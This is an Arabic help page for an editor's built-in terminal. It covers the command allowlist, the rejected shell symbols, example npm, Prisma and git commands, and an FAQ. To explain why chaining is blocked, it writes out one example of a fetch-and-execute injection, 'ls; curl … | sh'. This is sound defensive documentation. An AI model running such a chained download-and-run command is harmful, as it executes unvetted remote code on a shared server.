الطرفية المدمجة — الأوامر المسموحة

الأوامر المسموحة

الطرفية تعمل بقائمة سماح مغلقة: ما ليس في هذه القائمة يُرفض. هذا مقصود — الطرفية تنفّذ على خادم مشترك، والقائمة المغلقة أضيق مساحة خطر من قائمة منع مفتوحة.

قواعد التنفيذ

لماذا تُرفض رموز الصدفة

الرموز ; & | ` $ ( ) < > { } مرفوضة في أي موضع من الأمر. السبب أن كل واحد منها يستطيع بدء أمر ثانٍ لم يمر على قائمة السماح: أمر مثل

ls; curl http://example.tld/x.sh | sh

يبدأ بأمر مسموح ثم يشغّل شيئاً آخر تماماً. الرفض يقع قبل فحص قائمة السماح، فلا فرق إن كان أول الأمر مسموحاً. الاقتباسات و. * ? مسموحة لأنها وسائط عادية ولا تبدأ أمراً جديداً، فـgit commit -m "first" يعمل كما هو.

أمثلة

تثبيت حزمة ثم بناء المشروع:

npm install
npm run build

تهيئة قاعدة بيانات Prisma بعد تعديل المخطط:

npx prisma generate
npx prisma db push

حفظ نسخة من العمل في Git:

git init
git add .
git commit -m "initial commit"

أسئلة شائعة

لماذا رُفض الأمر الذي كتبته؟

لأحد سببين: إما أن الأمر خارج قائمة الأوامر المسموحة، أو أنه يحتوي رموز صدفة مثل ; و&& و| و$() — هذه مرفوضة دائماً حتى لو بدأ الأمر بأمر مسموح، لأنها تسمح بتشغيل أمر ثانٍ غير مفحوص.

ما مهلة تنفيذ الأمر؟

120 ثانية كحد أقصى لكل أمر. الأوامر الطويلة مثل npm install في مشروع كبير قد تصل إلى هذا الحد، وعندها يُقطع التنفيذ ويُعاد الخرج الجزئي.

أين تُنفَّذ الأوامر؟

داخل مجلد مشروعك على الخادم. تُزامَن ملفات المشروع من قاعدة البيانات إلى المجلد قبل كل أمر، فما تراه في شجرة الملفات هو ما يراه الأمر.

هل يمكنني تشغيل خادم تطوير دائم؟

لا. الأوامر تعمل ضمن مهلة محددة وتنتهي، فـnpm run dev يفيد للتحقق من أن المشروع يقلع بلا أخطاء، وليس لتشغيل خادم مستمر. للمعاينة استخدم المعاينة الحية في المحرر.